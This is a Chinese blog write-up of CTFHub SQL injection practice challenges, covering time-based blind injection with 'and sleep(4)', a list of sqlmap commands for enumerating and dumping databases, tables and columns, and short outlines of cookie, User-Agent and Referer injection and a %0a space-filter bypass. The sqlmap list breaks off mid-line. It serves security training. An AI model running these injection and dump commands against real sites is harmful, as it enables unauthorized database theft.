526互联

ctfhub_WEB基础关（3）

发布时间 2023-09-02 00:08:20作者: 凉城厌心

WEB基础

四、SQL注入

5、时间盲注

时间盲注和布尔盲注类似，只是在后面添加一个and sleep(4)来根据页面响应的时间来判断是否正确，所以该关卡直接用sqlmap跑了，工具sqlmap的常使用命令，-r参数是请求包python3 sqlmap.py -r "C:\桌面\1.txt" -p id --batch --dump

  1. 检测 SQL 注入漏洞：

    sqlmap -u <target_URL>

    用于检测指定目标 URL 是否存在 SQL 注入漏洞。

  2. 使用参数检测漏洞：

    sqlmap -u <target_URL> --data "param1=value1&param2=value2"

    当目标 URL 需要 POST 请求参数时，使用 --data 参数指定参数列表。

  3. 指定数据库管理系统类型：

    sqlmap -u <target_URL> --dbms=<database_type>

    用于指定目标数据库的类型，例如 MySQL、Oracle 等。

  4. 获取数据库版本信息：

    sqlmap -u <target_URL> --dbms=<database_type> --current-db

    获取当前数据库的名称。

  5. 获取数据库表信息：

    sqlmap -u <target_URL> --dbms=<database_type> -D <database_name> --tables

    获取指定数据库中的所有表名称。

  6. 获取表中列信息：

    sqlmap -u <target_URL> --dbms=<database_type> -D <database_name> -T <table_name> --columns

    获取指定表中的所有列名称。

  7. 获取数据：

    sqlmap -u <target_URL> --dbms=<database_type> -D <database_name> -T <table_name> -C <column_name> --dump

    获取指定表中指定列的数据。

  8. 指定 Cookie：

    sqlmap -u <target_URL> --cookie "name=value"

    用于指定目标网站的 Cookie。

  9. 批量扫描多个目标：

    sqlmap -m targets.txt

    从指定文件中批量读取目标 URL 进行扫描。

  10. 提供自定义 payload：

    sqlmap -u <target_URL> --dbms=<database_type> --data "param1=value1&param2=va

6、mysql结构

这关卡直接按流程走就可以了

查询库中的表

查询vulobwsngz表中的数据

7、Cookie注入

使用burpsuite来进行注入

  • 到重发模块，然后修改cookie的值

  • 测试列数以及回显位，测试出为2列

  • 获取库中的表

  • 获取jfwqvwgbcj表中的数据

8、UA注入

  • 直接UA头注入，测试列数以及回显位

  • 查看数据库中的表

  • 查看表中的数据

9、refer注入

  • 测试列数以及回显位，列数为2

  • 获得数据库中的表

  • 获得bxkckpxyqx

10、过滤空格

  • 过滤空格的话，尝试利用%20、%0a等方法绕过，测试后，%0a可以绕过

  • 测试列数，回显位

  • 查看库中的表

  • 查看nghgxwbrzq表中的数据